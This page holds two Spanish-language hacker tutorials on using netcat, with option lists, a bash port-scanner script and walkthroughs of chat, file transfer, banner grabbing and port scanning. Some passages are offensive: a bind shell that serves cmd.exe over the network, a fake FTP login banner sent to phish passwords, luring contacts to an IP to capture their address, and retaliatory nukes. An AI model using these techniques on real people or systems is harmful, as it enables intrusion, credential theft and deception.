Sei sulla pagina 1di 19

1 2 3 4 ..

11 | siguiente > Netcat es un pequeo programa creado para uso de los administradores de redes (y por supuesto para los Hackers) :), este proggie fu creado originalmente por Hobbit y porteado a Win95 y NT por Weld Pond de L0pht , tiene mas de un ao desde que fu Liberado y muy poco se ha escrito sobre este Programita; Principalmente porque la estructura de sus comandos es poco familiar para el usuario medio. Netcat tiene infinidad de funciones, aunque se deja que sea el usuario quien las averigue :P, y en el archivo de ayuda ponen algunos ejemplitos muy elementales solamente... La especialidad de NetCat es el Protocolo tcp/ip, y le d a la mquina de windows, cierto poder sobre este protocolo que solo tena UNIX, trabaja con lineas de comandos desde MS-DOS (o desde el Shell de Linux), y segn parece, puede hacer casi cualquier cosa sobre TCP/IP. El comando principal es nc con su respectiva variable u opcin al mas puro estilio Unix. Cabe destacar que la informacin sobre Netcat y sus usos especificos es bastante limitada; aunque Hobbit en su documento aclara muchas cosas, cita algunos ejemplos y dice que NetCat puede ser utilizado para mas de 1001 vainas... Netcat puede ser encontrado en: http://www.l0pht.com/~weld/netcat

Este es el resultado de el comando de ayuda de netcat en una mquina windows c:>nc -h connect to somewhere: nc [-options] hostname port[s] [ports] ... listen for inbound: nc -l -p port [options] [hostname] [port] options: -d detach from console, stealth mode -e prog inbound program to exec [dangerous!!] -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12, ... -h this cruft -i secs delay interval for lines sent, ports scanned -l listen mode, for inbound connects -L listen harder, re-listen on socket close -n numeric-only IP addresses, no DNS -o file hex dump of traffic -p port local port number -r randomize local and remote ports -s addr local source address -t answer TELNET negotiation -u UDP mode -v verbose [use twice to be more verbose] -w secs timeout for connects and final net reads -z zero-I/O mode [used for scanning]

port numbers can be individual or ranges: m-n [inclusive] Bien; un analisis rpido de estas variables nos da una idea del potencial de este pequeo programa y las infinitas posibilidades que nos ofrece el poder manejar conexiones de una manera tan bsica y sencilla: < Opciones de Netcat > -d (Modo Stealth o encubierto) Esta opcin desvincula al Programa de la consola, haciendolo trabajar en el BackGround. -e<prog> (Ejecuta un programa cuando se conecta) Puede ser utilizado para ejecutar incluso un Shell tanto en WinX como en *NIX. -l (Escuchando conexiones) Deja a un puerto abierto en espera de una conexin -L (lo mismo que anteriormente pero sigue escuchando an cuando la conexin es cerrada) Esta opcin es incluida en la versin de Weld Pond de L0pth, y es muy util para seguir escuchando en el puerto, a diferencia de -l (que la conexin cerrada termina con el proceso de nc) esta opcin -L permite seguir escuchando en el mismo puerto (la rutina de nc -l es reiniciada). -n (Direccin numerica especifica; no hace un DNS Lookup) Netcat tiene la facultad de resolver nombres de dominio mediante un DNS Lookup, con esta opcin le especificamos que no lo haga, y use solamente direcciones IP. -o<logfile> (obtiene un archivo log en Hex de la accin) Genera un Log de las actividades de netcat en cdigo Hexadecimal. -p<puerto> (Puerto para pegarse) Algunas veces debes especificarle con esta opcin el puerto a realizar una accin.

-s<ip addr> (pegarse a un IP especifico) Netcat puede utilizar IP de una red como fuente local. -t (Funciona como un pequeo demonio telnet) Con esta opcin le especificas a netcat que debe realizar negociaciones telnet. -u specify UDP (Utilizar Protocolo UDP) Con esta opcin le dices a netcat que trabaje con protocolo UDP en vez de TCP. -v (modo verbose, mas informacin, se le puede aadir otra -v para mas info todavia) Bastante util y necesario, sobre todo para estudiar demonios en profundidad y observar todos los detalles en un Sniffing. -w <segundos> (Especifica un tiempo para terminar) Con esta opcin le especificas un tiempo determinado para realizar conexiones . -r (Genera un Patron Ramdom de puertos locales o remotos) Muy util para evitar patrones lgicos de Scanning. -g <gateway> (especificar Gateways) Una de las opciones ms interesantes de netcat, permite utilizar Routers como "puentes" de conexin. -G <numero> (Especificar puntos de Routing) Con esta opcin podemos crear una cadena aleatoria de hosts para crear un ruta perdida para tus paquetes (Spoofing). -i <segundos> Especifica un intervalo de segundos entre puertos Scaneados.

Netcat en una plataforma como Linux se convierte en una utilidad muy potente, pudiendo ser utilizado en conjunto con lenguajes de programacin como Perl y C , o bien desde la propia Linea de comandos del poderoso Shell de Linux mediante Shell Scripts. Cabe destacar que distribuciones como RedHat Linux trae junto con sus paquetes de instalacin una versin limitada de netcat; lo mas recomendable es bajar de la red la versin full de netcat para Linux (Importante: La versin de netcat para linux viene a prueba de lamers, por lo cual debemos compilar a netcat con unos flags especiales para poder obtener las opciones -t y -e (Telnet y Gaping Security Hole) ). Bajas el .tar de netcat y lo desempaquetas en el directorio de tu preferencia, te ubicas dentro del directorio de netcat y lo compilas con Make utilizando las siguientes Flags: [root@DarkStar] #make linux DFLAGS=" -DTELNET -DGAPING_SECURITY_HOLE" Copias el binario (nc) al directorio /usr/bin , de esta manera podras usar netcat directamente llamandolo de cualquier parte del Shell, ademas de que podrs usar los scripts que hagas (o consigas en la red) sin problemas; netcat trae unos scripts muy interesantes y bien comentados para que los estudies y comprendas mejor su implementacin en scripts, los scripts estn en el directorio donde desempaquetastes netcat en /scripts , los corres como siempre: ./probe (o el script que quieras). Para ilustrar mejor como trabajamos con este programa, lo mejor es observar ejemplos prcticos y analizar su estructura para poder comprender mejor como funciona y as poder crear nuestras propias aplicaciones. Algunas de las cosas que podemos hacer con NetCat son: Obtener un Shell rapidamente en una mquina remota usando la opcin -l (Listen) conjuntamente con la opcin -e (ejecutar) , cuando el proggie corre con estas variables y la conexin es realizada, NetCat ejecuta el programa elegido y se conecta a stdin y stdout del programa en la conexin a la red. nc -l -p 23 xxx.xxx.xxx.xx 23 -t -e cmd.exe Este comando dejar a NetCat escuchando el Puerto 23 (telnet), cuando es conectado a travz del cliente, ejecutar un Shell (cmd.exe) la opcin -t le dice a NetCat que maneje cualquier negociacin que el cliente pueda esperar.... Si esta conexin es realizada desde una mquina NT, el shell correr los permisos del proceso que han generado a NetCat (Hmmm...) as que hay que ser muy cuidadosos :) La belleza de NetCat es que puede hacer lo mismo en CUALQUIER puerto :) Puedes dejar a NetCat escuchando en los puertos NETBIOS, que estn probablemente corriendo en la mayora de las mquinas NT, de esta manera puedes lograr una conexin a una mquina que est utilizando "Filtrado de Puertos" activado en TCP/IP security Network Control Panel, NT no parece tener ninguna seguridad alrededor de cuales puertos los programas de usuarios son permitidos amarrar, esto quiere decir en pocas palabras, ejecutar comandos y programas que puedan unirse a los Puertos NETBIOS. Como anteriormente se mencion, puedes utilizar a Netcat para estudiar diferentes puertos, con la siguiente sintaxis: c:\>nc -v <IP> <puerto> (puedes aadir otra -v) Uno de los puertos mas interesantes a la hora de analizar un Host, es el puerto 79 (Finger) , puedes obtener nombres de usuarios e informacin muy util a la hora de planear un "Brute-Force Attack", este comandito de Netcat te muestra la Flexibilidad del Proggie en cuestin, dandote una idea de sus posibilidades: c:\>nc -v <host> 79 < user.txt > log.txt

El comando anterior le dice a netcat que se conecte en modo verbose al Host predeterminado en el puerto 79 (Finger) y envie el contenido del archivo user.txt (OJO: no he probado esto con una posible lista de nombre de usuarios al azahar), la respuesta del servicio ser guardada en el archivo log.txt Netcat puede ser utilizado como scanner, sus multiples opciones le permiten realizar un gran nmero de combinaciones, pudiendo realizar Scannings en Puertos Random, en puertos conocidos, en modo ascendente o descendente, con intervalos de tiempo, utilizando gateways para evitar mostrar la IP fuente del Scanning, etc. C:\nc11nt>nc -v -v -z 127.0.0.1 53 25 21 DNS fwd/rev mismatch: localhost != darkstar localhost [127.0.0.1] 53 (domain): connection refused localhost [127.0.0.1] 25 (smtp): connection refused localhost [127.0.0.1] 21 (ftp): connection refused sent 0, rcvd 0: NOTSOCK Pues si; aqui tienen un pequeo y primitivo scanner, se le pueden aadir puertos escogidos como en el ejemplo anterior o asignarle un rango de puertos: C:\nc11nt>nc -v -v -z 127.0.0.1 1-53 DNS fwd/rev mismatch: localhost != darkstar localhost [127.0.0.1] 53 (domain): connection refused localhost [127.0.0.1] 52 (?): connection refused localhost [127.0.0.1] 51 (?): connection refused localhost [127.0.0.1] 50 (?): connection refused localhost [127.0.0.1] 49 (?): connection refused localhost [127.0.0.1] 48 (?): connection refused etc... Volvemos con la opcin -v (verbose) y la Opcin -z (zero i/o) que es usada para scanning, los puertos se lo especificamos al final del IP del host, bien sea individuales separados por un espacio; o por un rango de puertos. Otra de las interesante posibilidades de netcat es su capacidad para escuchar conexiones en cualquier puerto, pudiendo redireccionar todo el trfico del mismo hacia un archivo o hacia pantalla, en este sencillo ejemplo, podemos observar las bases de un sencillo sniffer en Windows: C:\nc11nt>nc -v -v -L 127.0.0.1 -p 23 DNS fwd/rev mismatch: localhost != darkstar listening on [any] 23 ... DNS fwd/rev mismatch: localhost != darkstar connect to [127.0.0.1] from localhost [127.0.0.1] 1131 login: sniffado password: jeje!! puedo ver todo lo que escriben aqui... Muuuaaahahahahahah!!! B-] Tambien podemos redireccionar toda la salida a un archivo e irnos a realizar otras actividades ,ientras netcat hace su trabajo: C:\nc11nt>nc -v -v -L -p 23 127.0.0.1 -t >login.txt DNS fwd/rev mismatch: localhost != darkstar listening on [any] 23 ... [Aqui viene la connecin...] DNS fwd/rev mismatch: localhost != darkstar connect to [127.0.0.1] from localhost [127.0.0.1] 1030 [Todo lo que escriba la conneccin se va al archivo login.txt]

sent 0, rcvd 42 [La opcin -L permite que netcat escuche nuevamente al terminar la conexin, "New Victims Wanted" Hehe!] DNS fwd/rev mismatch: localhost != darkstar listening on [127.0.0.1] 23 ... El Exploit-Explained: nc -v -v -L 127.0.0.1 -p 23 Ejecutamos a Netcat con la opcin o variable -v (verbose) (doblemente "verbose" por si acaso) ;) esto har que el resultado de netcat, sea mostrado directamente en pantalla (a diferencia del archivo usado por Dr._X) , la opcin o variable -L (Listen, and listen again) nos permitir dejar escuchando u "oliendo" en determinado puerto aun cuando la conexin sea interrumpida (listen again), con la variable -p le indicamos el puerto... Al ejecutar a netcat con esa combinacin de variables las opcin -v me indica en pantalla el Host y el puerto de escucha: DNS fwd/rev mismatch: localhost != darkstar listening on [any] 23 ... Realizo desde otra ventana un telnet a localhost (127.0.0.1) en el puerto 23, netcat me informa sobre lo que ocurre en el puerto 23: DNS fwd/rev mismatch: localhost != darkstar connect to [127.0.0.1] from localhost [127.0.0.1] 1131 login: sniffado Voil! un Sniffer en LocalHost! Jajaja!!! La posibilidad de dejar a netcat escuchando en determinados puertos, nos permite crear una especie de "trampa" para un supuesto agresor que utilize scanners, o herramientas tales como NetBus o BackOrifice en contra de nuestras estaciones. Incluso, podemos crear un archivo que haga un Flood y redireccionar su salida hacia la estacin agresora en caso de una conexin no autorizada a determinado puerto. (jeje! y se me ocurren un monton de cosas ms, Muaahahaha!) :) Este es un ejemplo de un detector de BO, Je! y funciona! este es un ejemplo real de un dia como cualquier otro en IRC; he aqu el ejemplo: C:\nc11nt>nc -u -v -v -L -p 31337 127.0.0.1 31337 DNS fwd/rev mismatch: localhost != darkstar listening on [any] 31337 ... invalid connection to [0.0.0.0] from nas1-064.ras.bqm.cantv.net [161.196.246.65] 31338 Back Orifice utiliza el protocolo UDP para realizar sus travesuras, realiza la conexin desde un puerto aleatorio (casi siempre el 1080) aunque en este caso lo hizo desde el 31338 (posiblemente una variante de BO), por eso se utiliza la opcin -u (protocolo udp), netcat se queda esperando conexiones UDP en el puerto 31337 (default de BO) , cuando alguien hace un sweep a tu IP netcat lo detecta enviando a pantalla el IP y el DNS del agresor... Luego un pequeo "Ping of Death" (Nuke) para el transgresor y le hacen un Scan para ver cuando desaparece B-] nas1-064.ras.bqm.cantv.net [161.196.246.65] 48 (?): connection refused nas1-064.ras.bqm.cantv.net [161.196.246.65] 47 (?): connection refused nas1-064.ras.bqm.cantv.net [161.196.246.65] 46 (?): connection refused

nas1-064.ras.bqm.cantv.net [161.196.246.65] 45 (?): TIMEDOUT nas1-064.ras.bqm.cantv.net [161.196.246.65] 44 (?): TIMEDOUT<--Chao!!! Jeje!! Puedes utilizar algo de ingienera social para capturar algunos passwords con netcat, por ejemplo, si una mquina no tiene abierto el puerto de FTP o de telnet, creas un archivo de texto que solicite el ID y el Password de la vctima; algo as: Microsoft Internet FTP Server V.5.9 [Beta] 04/16/99 myhost.com Please introduce Username, password and press "Enter" LogOn: Luego redireccionas el archivo hacia la victima: C:\nc11nt>nc -v -v -L -p 21 nombre del host -t < login.txt Si el tonto cae... Ah va tu password, Jeje!! B-] un poco de imaginacin y maa te permitirn encontrar muchas utilidades para netcat. Yo personalmente prefiero usar netcat para realizar connecciones remotas como alternativa al Telnet. la ventaja de realizar conexiones telnet desde netcat es que este esconde "algo" sobre tu conexin, lo que lo hace ms "sigiloso" que telnet, (de ah por que lo llamaron netcat), realizando una conexin "Limpia" en determinado puerto, obviando las negociaciones comunes de Telnet que pueden confundir al cliente en determinados casos, como por ejemplo, al utilizar ciertas Backdoors muy conocidas en Unix. OJO: algunas mquinas interpretan al cliente de telnet y asumen el nombre del usuario que lo utiliza, de all el porqu algunos servidores solo preguntan por password ; teoricamente netcat no envia esta informacin. Por eso, es recomendable acostumbrarse a utilizar netcat para hacer conexiones remotas: c:> nc -v nombre del host 23(o el puerto de tu preferencia) Esta combinacin desencadena todo el Poder de Netcat en su mxima expresin; Tratandose de una herramienta que funciona con lineas de comandos, su integracin con un lenguaje de programacin le permite realizar gran cantidad de tareas, y posibilidades se van descubriendo dia a dia con su inclusin en nuevos Scripts y Exploits. Muchos ScriptKiddies que no tienen idea de lo que hacen, se sienten frustrados porque muchos de los Scripts y Exploits que bajan de la Red simplemente no les funciona, porque no saben interpretar el Cdigo y por lo tanto son incapaces de efectuar las modificaciones necesarias para incluir librerias, paths o utilidades necesarias para su funcionamiento. (Jdanse ScriptKiddies!!! Jajaja!!) Netcat es exelente para implementar exploits remotos, permitiendo enviar el cdigo a cualquier puerto vulnerable con una simple orden, logrando ejecutar todos los comandos necesarios para explotar determinados servicios. Varios exploits que circulan actualmente en la Red, usan a netcat como "motor" para manejar las conexiones, si analizamos el cdigo de estos programas podemos observar un nc por ah, esto significa que el Proggie en cuestin necesita una versin correctamente compilada de netcat en el directorio /usr/bin . A continuacin un pequeo programa realizado por el Doctor_X de Hven utilizando a netcat: < - Hven Port Scanner!! > # !/bin/bash # Scanner de Puertos

# By DoctorX 17/04/99 email: mailto:d0ct0r_x@bactery.8m.com d0ct0r_x@bactery.8m.com # Zona de Bacterias http://bactery.8m.com/ http://bactery.8m.com # Hackers de Venezuela http://www.hackhour.com.br/hven # Este es un shell script hecho por mi para la verificacion de # conexiones a un host utilizando netcat. # Declaracion de Variables export NETCAT=" nc -v -v -w 8 -z " export RANGO=$2 LOCALHOST=$(uname -n) export PUERTOS="21 23 25 79 80 110 111 113 139 143 513 514 515 6000 31337" export MEM1="Scanner de Puertos " export MEM2="by " export MEM22="para Hackers Venezuela" export MEM3="Victima : " export MEM4="Falta el GateWay para el Source Routing !!!!!!" export MEM5="Te van a pillar !!!!!!! $USER jejejejeje " export MEM6="Local Host : $LOCALHOST " export MEM7="UDP Scan " export MEM8="http://www.hackhour.com.br/hven" export re="[5m" export cl="[0m" export rojo="[31m" export email="email:d0ct0r_x@bactery.8m.com" # Declaracion de Funciones # Mensaje cuando no se le dan Parametros function mem() { local uso="uso :$0 [opcion] <host> <gateway>" local DRX="DoctorX" echo $MEM1 echo $MEM2 ${rojo}$DRX${cl} $MEM22 echo $MEM8 echo ${rojo}$uso${cl} echo "<host> :IP/HOSTNAME de La Victima jejejeje " echo "<gateway> :source-routing , es opcional " echo "opciones : " echo "u :esta opcion de utiliza para hacer scan udp" echo "so :Determinacion de SO de servidores Web" echo "r rango_de_puertos :Cambia el rango de puertos por defecto :plow-phi" && exit ; } # Mensaje Inicial function mem2() { VICTIMA=$1 echo $MEM1 echo $MEM2 ${rojo}DoctorX${cl} $MEM22 echo $MEM3 $VICTIMA echo $MEM6 ; } # Mensaje 2 function mem_web() { mem_web1="Hackers Venezuela"

mem_web2="By" mem_web3="Victima : " VICTIMA=$1 mem_web4="Determinacion de SO en Web Servers" echo $mem_web1 echo $mem_web4 echo $mem_web2 ${rojo}DoctorX${cl} $email echo $mem_web3 $VICTIMA ;} # Scan Tcp function tcp() { HOST=$1 $NETCAT $HOST $PUERTOS ; } # Scan Tcp con Rango function tcp_rango() { HOST=$2 RANGO=$1 $NETCAT $HOST $RANGO ; } # Scan UDP function udp() { VICTIMA=$1 echo $MEM7 $NETCAT -u $VICTIMA $PUERTOS ; } # Scan UDP con gateway function udp_gateway() { echo $MEM7 VICTIMA=$2 GATE=$1 NETCAT_GATE="nc -v -v -z -u $VICTIMA -g $GATE " $NETCAT_GATE $PUERTOS ; } # Scan con Source Routing function tcp_gateway() { GATE=$1 HOST=$2 RANGO=$PUERTOS echo "Gate : $GATE " $NETCAT -g $GATE $HOST $RANGO ; } # Advertencia function adv() { local MEM4="Falta el GateWay para el Source Routing !!!!!!" local MEM5="Te van a pillar !!!!!!! $USER jejejejeje " echo ${rojo}$MEM4${cl} echo ${re}${rojo}$MEM5${cl} ; } # Determinacion de SO function web_so() { NC="nc -w " HTTPPORT="80" GET="GET /" ECHO="/bin/echo" HEAD="HEAD / HTPP/1.0"

HTTPVARIABLE="Server:" WEB_SERVER="$1" LOG="salida.txt" #CHECKHTTP=( echo $GET ; sleep 5)| $NETCAT $VICTIMA 80 ( echo $HEAD ; echo ; echo ) | $NC 8 $WEB_SERVER $HTTPPORT | grep $HTTPVARIABLE | cut -d: -f2 1> $LOG cat $LOG rm -f $LOG ;} # Seleccion de Opcion case $# in 0 ) mem ;; 1 ) mem2 $1 ; adv ; tcp $1 ;; 3 ) if [ "$1" != "r" ]; then mem2 $2 udp_gateway $3 $2 else { mem2 $3 adv tcp_rango $2 $3 ;} fi ;; 2 ) if [ "$1" != "u" ] ; then if [ "$1" != "so" ] ; then { mem2 $1 # adv tcp_gateway $2 $1 ;} else { mem_web $2 web_so $2 ;} fi else { export HOST=$2 mem2 $HOST udp $2 exit 0 ;} fi ; esac Si estudiamos detalladamente las variables, el misterio de netcat desaparece, viene la parte de la imaginacin; Que otras funciones le podemos asignar? Que mas podra hacer? ; al revisar el programa que envi Dr._X me dije: "Lgico! Hmmm... Y que tal si hacemos asi..." ; el hacking no es ms que probar nuevas posibilidades, utilizando el ingenio, los conocimientos acumulados y una dosis bastante fuerte de imaginacin podremos lograr loque queramos. :) Si tienes otras ideas, utilidades, programas o forma innovadora para utilizar netcat, escribenos un mail, estar encantado de anexarlo en este documento.... Este Documento fu Realizado por Kliber, Agradecimientos especiales a Doctor_X (Code Freak) :), DarkDeath, y a todos los miembros de nuestra comunidad por su invaluable Colaboracin. "Hecho en Venezuela!" ============================== mailto:kliber@hven.com.ve kliber@hven.com.ve

Hackers Venezuela "El Conicimiento es Poder!!" http://hven.com.ve/ http://hven.com.ve

Manual practico de netcat sobre windows

by C4d0Rn4

Agradecimientos A Alexhk23 y a Satya por prestarse a mis experimentos a horas inverosmiles (jajajajajajaj) GRACIAS

Que es netcat? Netcat fue creado originalmente por Hobbit y adaptado a Wndows Weld Pond de L0phtes, es una utilidad usada por los administradores de red para hacer diagnsticos y para realizar conexiones del tipo TCP y UDP, desde y hacia cualquier puerto y direccin IP Esta herramienta tambin viene para Windows, y es sobre esa plataforma sobre la que trata este manual, tampoco se explican absolutamente todas la utilidades que le puedes dar ya que no me da la imaginacin para darle mas usos (jajajaajajaj), pero espero que estos varios ejemplo con los que acompao sirva para despertar curiosidad e inters en una herramienta, para mi, muy poderosa, que puede ayudarte muchsimo, Tambin te toca experimentarla a ti, pero como reconozco que es medio complicada se me ocurri poner ejemplos de utilizacin claros para poder plasmar lo emprico y as poder apreciar la versatilidad de estos 50Kb Para utilizarlo se lo invoca desde la lnea de comandos o ventana D.O.S agregndole los modificadores necesarios para lo que necesitamos hacer, o bien se lo puede invocar desde un archivo.bat (para automatizar alguna tarea), o se puede incluir netcat dentro de cualquier script o programa y con esto me refiero a que podemos usarlo como complemento de VB o C++ u otro lenguaje

La sintaxis de los comandos la coloco en la pgina siguiente para facilitar la visualizacin de todos los comandos juntos Cabe destacar que para cerrar la conexin se hace con ctrl+C

Sintaxis de comandos de netcat

nc [-argumentos] [ host] [puerto | rango de puertos] Argumentos: (Todos son opcionales) -h = (Help) Ayuda

-n = (Numeric) Solo acepta IP numrico ( si no ponemos esta opcin hace resolucin DNS) -v = (Verbose) pone informacin adicional sobre la conexin Recomendable usarlo siempre -v -v = (Very Verbose) informacin mas detallada todava No muy necesario, podra ser til en diagnostico de sistemas problemticos -w <segs> = (Wait) espera cierto tiempo a que se establezca la conexin (EJ: -w 3 espera 3 segundos para realizar la conexin y luego 3 mas por las dudas, antes de darnos un time out) -p <puerto> = (Port) puerto local a utilizar -r = (Random) eleccin de puertos al azar (locales y remotos) -l = (Listen) escuchar por conexiones del exterior. -L = (Listen) escuchar por conexiones del exterior. Aun sigue escuchando cuando la conexin establecida se corta -e <prog> = (Execute) correr un programa al establecerse una conexin. -t = (Telnet) - Evita negociaciones iniciales con telnet. til, pero puede reducir confiabilidad en la transmisin de datos -z = (Zero I/O) Rastreo rapido de puertos, evitando salida o entrada de datos. -i <segs> = (Interval) Espera un intervalo de tiempo entre paquetes enviados -g <gateway> (Gateway) Maquina que retransmitir nuestros datos a otra maquina o al destino final. -G <pointer> = (Gateway Pointer) Es lo que indica que gateway esta en uso en determinado momento. En ocasiones es til mover este indicador nosotros mismos. Definido en mltiplos de 4. -o <logfile> = (obtiene un archivo log en Hex de la accin) Genera un Log de las actividades de netcat en cdigo Hexadecimal. -u = (UDP) Con esta opcin le dices a netcat que trabaje con protocolo UDP en vez de TCP.

-d = (Modo Stealth o encubierto) Esta opcin desvincula al Programa de la consola, hacindolo trabajar en el Back Ground. < (nombre archivo.extension) = dirige un archivo al exterior > (nombre archivo.extencion) = redirige lo que entra por un puerto a un archivo

Pero como el movimiento se demuestra andando, pasemos a los ejemplos de uso diario que le encontr a netcat Netcat practico (estos ejemplos pueden ser variados dependiendo de los modificadores)

Si queremos saber que versin de servidor esta corriendo en un puerto remoto

Supongamos que queremos saber que versin webserver corre una determinada ip, para ello supongamos que la IP es 1.1.1.1, entonces tipearemos lo siguiente: C:\nc v v 1.1.1.1 80 Donde nc es la invocacin al netcat, -v v nos dar todo la info visible del servidor que esta corriendo, 1.1.1.1 es la ip y 80 el puerto al que nos queremos conectar, bien, no solo que nos dio la versin del servidor si no que ahora estamos conectados al webserver y podemos realizar las operaciones normales que podra hacer el browser(en lnea de comandos, por su puesto), pero eso para otro capitulo jejejejejeje. Si quisiramos saber la versin de cualquier otro servidor solo habr que conectarse a el a travs de su ip + puerto con la opcin very vervose y ya sabremos algo de ese servicio ;)

Un chat p2p (y sin demoras jajajajjjajajajaj)

Se necesita que los dos tengan netcat, uno va a actuar de servidor y otro de cliente. EL SERVER

C:\nc l p (numero de puerto) Donde nc llama al netcat, -l se pone a la escucha o en modo servidor, y p es el puerto por donde escuchara EL CLIENTE C:\nc ip puerto Donde nc llama al netcat, ip es la ip del server, y puerto el puerto que este abri Una vez realizado esto, podrn escribir en la pantalla donde esta corriendo netcat y al dar ENTER el otro vera lo que escribamos, una opcin rpida y segura

Como sacar la ip de cualquier mensajero ( y algunos otros datos jejejjej)

Primero usamos la herramienta netcat (o nc) con la siguientes modificadores: C:\nc -v -v -l -p 80 Donde nc llama al netcat, -v v lo pone en modo very verbose y eso hace que al conectarse alguien a nuestra ip y puerto le rastrea la ip y los datos del browser y sistema operativo, -l lo pone en modo escucha o servidor , y p 80 le asigna el puerto 80 a la escucha Luego le pasamos lo siguiente, http://nuestra ip (usando alguna excusa, si no queremos que nuestro contacto sospeche), automticamente se abrir su navegador y se dirigir a donde esta nuestro netcat a la escucha, entonces veremos en la ventana DOS donde se esta ejecutando el netcat, la ip de nuestro contacto ( con suerte tambin veremos la versin del navegador que usa y alguna que otra cosita mas)luego que tomamos nota de la ip, hacemos ctrl+C para cerrar netcat, y le aparecer a nuestro contacto, en el navegador pagina tpica de cuando no se encuentra el servidor (esto no pasara hasta que no cerremos el netcat con ctrl+C), buscamos la excusa que mas nos guste para explicar que la page que le pasamos no funciono y listo

Si queremos hacer una trampa para lammers y capturar su ip

Pues esto se basa en que un lamer, para entrar a una maquina, primero escanea puertos y si encuentra alguno vulnerable (como por ejemplo el puerto de un troyano) entra usando la herramienta necesaria.

Bien, esto se trata de hacerle creer al lammeruzo que tenemos esos puertos que abren los servidores de los troyanos abiertos (por lo tanto pensara que estamos infectados y tratara de entrar por ese puerto y all tendremos el netcat listo para cazar su ip Para esto abriremos tantos netcat como puertos queramos simular infeccin (seria bueno que busques una lista de puertos que usan los troyanos y abras los que te parezcan) y lo haremos si con cada puerto C:\nc -v -v -l -p (numero de puerto de troyano) Donde nc llama al netcat, -v v lo pone en modo very verbose y eso hace que al conectarse alguien a nuestra ip y puerto le rastrea la ip y los datos del cliente que uso para conectarse, -l lo pone en modo escucha o servidor, y p (ser el puerto que simulara que all hay un troyano), listo de esa manera ya tenemos la ip de quien trato de entrar a nuestra maquina a travs de un troyano. Cabe destacar que esto sirve para cualquier servicio como ser web o ftp

Mostrar una pagina web con netcat (o como simular un webserver)

Todos sabemos que si queremos mostrar una pagina web necesitamos un webserver, bien aqu vamos a improvisar uno (simulado lgicamente). Para mostrar nuestra page en Internet haremos esto: 1) guardamos el html que queremos mostrar, en la misma carpeta que se encuentra netcat, luego tipemos esto: C:\nc l p 80 < nombre_del_archivo.htm Donde nc llama al netcat, -l hace que se ponga a la escucha, -p 80 hace que el puerto que escucha sea el el 80(el mismo del http), < nombre de archivo.htm hace que ese archivo este dispuesto en ese puerto, con lo cual si alguien visita nuestra ip con el browser vera nuestra page. Cabe destacar que cada vez que alguien se desconecta tendremos que volver a realizar la operacin para que vuelva a ser visto el html

Transferir archivos con netcat

Para transferir archivos con netacat primero tendr que destacar que solo hice la prueba con archivos zipeados, pero pueden probar con otros formatos, adems, netcat no puede ver el EOF(end of file o final de archivo) as que no terminara la transferencia por si solo, cuando estimen un tiempo prudencial (si lo hacen antes de que termine se corta y se daa el archivo)deben darle ctrl+C para terminar la transferencia y as hacer un EOF. Bien, dicho esto pasemos al trabajo. Necesitaremos uno que haga de Server (el que enva el archivo) y uno que haga de cliente (el que recibe el archivo), para ello tipearemos: EL SERVER C:\nc l p (puerto) < archivo.zip Donde nc llama al netcat, -l pone le puerto a la escucha, -p (puerto) sera el puerto que pondremos a la escucha, < archivo.zip le da salida al archivo

EL CLIENTE C:\nc ip puerto > archivo.zip Donde nc llama al netcat, ip es la ip a la que queremos conectar, puerto es al puerto remoto que queremos conectar , > archivo,zip, es el redireccionamiento de la entrada a un archivo. Listo, si tenemos en cuenta todas las recomendaciones, transferiremos sin problemas

Conectarse a irc con netcat

Bien para esto hay que destacar que es sencillo lograr la conexin pero no hay que olvidar que una vez lograda hay que hablar idioma servidor o sea hacer toda la negociacin a mano. Para ello vamos a topear: C:\nc servidor irc puerto Donde nc llama al netcat, servidor irc es el servidor al que nos queremos conectar, y puerto el puerto al cual vamos a conectarnos (para graficarlo mejor vamos a poner de ejemplo una conexin al canal yashira que esta en el sevidor irc.cl, el comando seria as nc irc.cl 6667, y listo ya estaramos conectados), pero en esta parte considero que poner un ejemplo totalmente practico ayudara bastante, por eso voy a desarrollar un ejemplo de cmo me conecto al canal yashira con netcat

Para hacerlo tipeo el comando que me conecta Luego tipeo PONG mi ip (esto debo hacerlo rpidamente para que no de time out la conexin). Inmediatamente tenemos que identificarnos para eso topeamos: USER nombre que elijas (no es tu nick) tu host tu servidor: tu nombre real(esto puedes omitirlo, pero no olvides poner : y luego dejarlo vaci), luego de eso tipeas: NICK tu nick pero mas grafico lo hago con el ejemplo practico: USER yo NETGlobalis.irc.cl : NICK cadorna aqu ya esta en el irc.cl para entrar al canal tipeas: join #canal (en mi caso join #yashira) ya tamos en el canal, ahora si queres hablar tipeas: PRIVMSG #canal :texto (en mi caso digo hola, PRIVMSG #yashira : hola) Cabe destacar que si bien es un mtodo complicado y muchas veces las negociaciones dependen del servidor, nos muestra la versatilidad de netcat, y estos no son todos los comandos de irc experimenta comandos que usas en el con netcat, tal vez resulte interesante (les dejo un poco de experimentacin para ustedes, si no me van a matar jajajajajajaaj)

Hacer un sencillo escanner de puertos con netcat Esto es muy simple para chequear los puertos abiertos de una maquina debemos topear: C:\nc v v -z ip puerto (cabe destacar que si queremos hacer un scanner de rango de puertos debemos separa ese rango con un - por ejemplo queremos escasear todos los puertos desde el 21 al 139, debemos hacer as: nc v v z ip 21-139, y si lo que queremos es escasear puertos determinados hay que separar los nmeros de puertos con espacio por ejemplo nc v v z ip 21 25 139, de esta manera buscara solo en esos puertos) Donde nc llama al netcat, -v-v lo pone en modo veri vervose(ideal para sacar datos), z realiza la llamada al puerto pero si llegar a hacer la transaccin de conexin, ip es la ip a escannear , y puerto es el puerto a escannear, esto nos devolver una lectura de open(puerto abierto) o conection refused (puerto cerrado), y hasta a lo mejor recibas que servicio esta corriendo en ese puerto abierto

Generalidades y propuestas Bien en este punto ya no voy a poner ms ejemplos, es el momento de empezar a estudiar los comandos y experimentar que se puede hacer, como ya comente estos son solo algunos ejemplos y les aseguro que esto no es nada mas que una simple demostracin rpida , si hurgan, investigan, y experimentan con los comandos, les aseguro que podrn hacer muchsimas cosas mas con el , como ser, desde hacer telnet, a enviar o buscar correo, y pasando por crear terminales de acceso remoto, en fin, como dije, mi imaginacin me limita jejejejej, pero esos experimentos se los dejo a vuestra imaginacin.

Potrebbero piacerti anche